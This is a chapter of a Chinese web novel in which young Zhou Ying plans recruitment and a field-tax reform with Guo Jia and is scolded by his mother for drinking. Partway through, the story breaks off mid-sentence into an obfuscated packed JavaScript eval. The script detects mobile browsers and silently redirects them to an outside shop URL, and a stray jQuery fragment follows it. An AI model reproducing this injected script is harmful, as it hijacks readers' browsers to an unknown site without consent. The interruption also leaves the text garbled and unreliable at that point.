闻言,周盈也是无奈摇头。
“咱们得考功名,将来做事情,朝里要是没咱们的人,这像样吗?”
“还有,务农司里头的那些农户,我看着有些孩子年纪小,也是可怜,若能教他们识字读书,将来进夫子的私塾蒙学读书,能考功名的,自然就是咱们官场上的人,考不上的,也都是能用的人。”
“总归是要开始搭建自己的班底子了,你啊……”说到这,周盈笑了笑。
“加把劲,将来你爹下来了,你总得顶上去?”
他说的内容不轻松,张岱原先的那些松快心情,一下子就烟消云散了。
车内沉默了一会儿,不过多时,张岱叹了口气:“我知道了。但考功名这事儿……我也只能尽力而为。”
毕竟考不考得上,真得看运气,他一见八股文,就昏昏欲睡,头疼。
“这事,不慌,改天,让奉孝给你补补,总归是能补及格的。”看他这小表情,周盈也跟着乐了。
“好了,我到了。”
下了马车,周盈一挥手,马车便随之离去。
进了门,发现这会儿家里都没什么人,郭嘉应该还在郭府。院子里的花花草草,如今也都枯了一半,只有几棵松树生的极好。
周盈心里不免一喜,赶紧进屋,烧了热水,给自己洗洗。
洗着洗着,就洗困了。
等郭嘉回来的时候,就看到这家伙,穿着素白衣裳,湿漉漉的头发散着,正斜倚在树下躺椅上小寐。
手里一本书搭在小腹上,几只麻雀叽叽喳喳跳到扶手上。
郭嘉也是没好气,自己忙了一下午,这家伙出去吃了个饭,回来先偷着睡午觉了。
当然,他心里没嘀咕多久,周盈眼皮子一颤间,似乎是察觉到了视线。
长睫翕动间,睁开眼来。
“嗯?你回来了?事情办的怎么样?”
“……”郭嘉走到边上桌子,拿起茶壶给自己倒了杯水。
“自然是办妥了,陈夫子那头还说,务农司要人的话,几个学生也能去帮着教教书,权当是支持我们了。”
坐靠在躺椅上的周盈,揉了揉太阳穴,这喝酒喝多了,醒来就容易头疼。
“嗯?你怎么了?”
“我喝了点儿酒,等会你别告诉我娘,不然她又得唠叨了。”
郭嘉笑了一声:“哦~这是喝多了,在这偷懒歇息呢?”
“怎么算是偷懒呢?”周盈压根没打算起来,坐在椅子,微微眯起眼睛,看着重重树荫遮挡间,斑驳的光影洒下。
倒也难得,心里算是有了点底气了。
“事情办成了,总得让人歇歇,松口气?”
郭嘉也不多言,走到一旁坐下,就这么,两个人安静的,看着风吹落叶,看着麻雀叽叽喳喳,享受这难得的片刻宁静。
但是一到晚上,那就完蛋了。
抄起周盈换下的衣服,周瑶脸色就变了,扯着嗓子一喊:“你怎么出去喝了那么多酒?跟谁学的?”
“你才几岁啊?娘平日里也不是说不给你喝,但喝那么多酒对身体不好!”
“你看看,你衣服上全是酒味!”
周瑶气笑了,手叉着腰,举着衣服朝着周盈就劈头盖脸一顿批评。
“以为回家换个衣服一个澡?我就闻不出来了?”
“臭小子长本事了?娘都敢瞒?”
周盈端着碗,咬着筷子一角,抬头瞄了一眼郭嘉。对方强忍着,好歹是没真笑出来。
“娘……我这不是出去谈事情了吗?”
“谈事情?要喝这么多酒?你才几岁啊?那帮混账东西,还能逼着你一个孩子喝酒?你糊弄谁呢?”周瑶那脑子,灵光的很,一听就明白周盈这是在说谎!
谁生的儿子谁了解。
“呃…哎呀,这不是为了办成国策的事情,喝了点吗?娘你也不是不知道,那帮人多精,我要是不真心实意点,怎么能把人都说服呢?”
“娘,好了!我以后不喝了。”周盈放下碗筷,眨巴眨巴眼睛,带着几分委屈。
“咣当”
原是郭奉孝惊掉了筷子。
要命!
可怕!
见他这般委屈巴巴的样子,周瑶的气,这会儿也消了点,看自家儿子出落的清隽端正的模样,这眼眶一红起来,就跟芙蓉沾了露水般。
瞧着心疼啊!
郭怡在旁搭了话:“阿瑶,盈儿这孩子拼是拼了些,但也是为了正事儿,下次别喝那么多就是了,伤胃。”
“嗯嗯嗯!郭娘说的在理。”
周瑶叹了口气,把手里衣服丢进桶里:“娘也不是要说你,只是担心你啊,你才回来两天,先去了趟郭府,又折腾了个什么,劝农司蒙学班的。”
“现在还出去跟人喝酒谈事情,娘看着心疼。”
听到这话,武屋里其他两个人目光也都挪到周盈的身上了,郭嘉心里那是一万个赞同啊。
太恐怖了这意志力。
“娘,我知道了。”周盈心里暖暖的,嘴角一翘。
又言:“等明天,把事情定下,这事儿妥当了,儿子就好好学习,考个功名。”
周瑶无奈摇了摇头,把桶放下,走过来坐到椅子上:“吾儿上进,做娘的欣慰也心疼,虽不能在大事上帮忙,但家里的这些事,有娘和你郭娘在,你和嘉儿,只顾着往前就是。”
说着话,她夹了块烧排骨放进周盈碗里。
周盈点了点头,微微弯起眼睛:“好。”
这一顿家常饭,吃的是亲情,也是两个少年,唯一的家。
吃完饭,周瑶给煮了碗醒酒汤,周盈披着衣服一边喝,一边查着账目,算着利润。
想了想,放下碗,叹了口气。
“怎么了?大晚上还叹气?”手里写着什么,郭嘉抬头瞥了他一眼。
“我在想……既然咱们要搞个商号,还得拿劝农司统一给朝廷交税。为什么不能干脆,把商税变法的那些东西,也提前试着用上?”
这说着说着,周盈就摸着下巴皱起眉头来。
郭嘉是惊呆了,不是……大晚上的,你这怎么还在想事情?
看了一眼外头黑的不像样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17907395|203982||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,这都什么时辰了?
“怎么?你现在就想着对税动刀子?”
“并非如此,既然农户的税,是由劝农司统一上缴,那我们何不仿着先前《东南海防》之策中所写,以‘什一之利’缴纳?这样一来,免了盘剥,且税也相对公平。”
“至于商贾的,咱们既要建个商号,也可以如法炮制,让商号统一交税。”
“……”郭嘉这会儿都被他说懵了。
听着,好像是有点道理。
“你这不靠谱。这些商贾乡绅,做生意还得走水路和陆路,这些全要缴纳钞关,这其中牵扯的地头蛇和派系太多了,且也不是咱们现在能插手的事情。”
“不用从钞关着手,我们只管田赋就是。”
郭嘉皱起眉,思忖了一下,看向周盈。对方拿起碗,慢悠悠将里头的醒酒汤喝完,随后,拿起放在桌上的一张纸,递了过来。
“你看看。”
这卖的什么关子?
郭奉孝嘀咕了一声,拿起眯着眼看。
不过片刻,他眉头一挑:“你是打算,让这批商贾的田赋,全由商号缴纳?!”
“你疯了?”
周盈往后靠了一下,放下手里的账本,只是思考着,没有马上就说话。
不过一会儿,郭嘉便细细看了两三遍有余,越看越觉得,这事儿乍一听天方夜谭,实则细思下来……还真有点东西?
“好策论。”
郭嘉是真心佩服,皱着眉间,又开口道:“但有个大问题,钞关是一笔钱,田赋也是一笔钱,如果按‘什一之利’缴,那么那些大商人,交的更多,他们怎么会愿意呢?”
“这个,倒要细细厘清楚,现今田赋的弊政何在了。”
听到这话,周盈嘴角一翘,来了兴致,身子往前倾,手拿起毛笔蘸了蘸,紧接着就看着郭嘉道:
“其一,折亩。田亩贫瘠按比例折成亩,但折多少,都是地方说的算,不少人因此受多纳税赋之苦。”
“其二,田赋胥吏经手,他们说合格就是合格,不合格还得折腾。不论是商还是农,盘剥之下,都没有谁能逃过,这是一笔本不需要负担的支出。”
“其三,粮食起运。种出来的粮食,有一部分,是不折银的,要运送到各地方的粮仓内,但这个运输,朝廷和地方不会负担。且每年粮仓都不固定,忽近忽远,这其中耗费的粮食、人力、物力,以及地方打点关系的银两花费,还是一笔大的开支。”
“其四,折银和解京。田赋缴纳银两,种出来的产品得卖出去吧?这样才能换钱。但若是由个人买卖,往往容易被压价、买亏。
而解京的耗费,谁来负担?还是个人,其中需缴纳的火耗,车脚银等,且验成色不合格,那就又要补,又是一笔不小的开支。”
手上的笔涂涂画画间,龙飞凤舞的黑字便成列在上方,周盈一边说,一边写。
郭嘉便手举着脸颊,皱眉看着。
“当然,还有最重要的,优免权。”
“土地寄在乡绅名下,亦或者有功名在身,都可以豁免一定的税收。”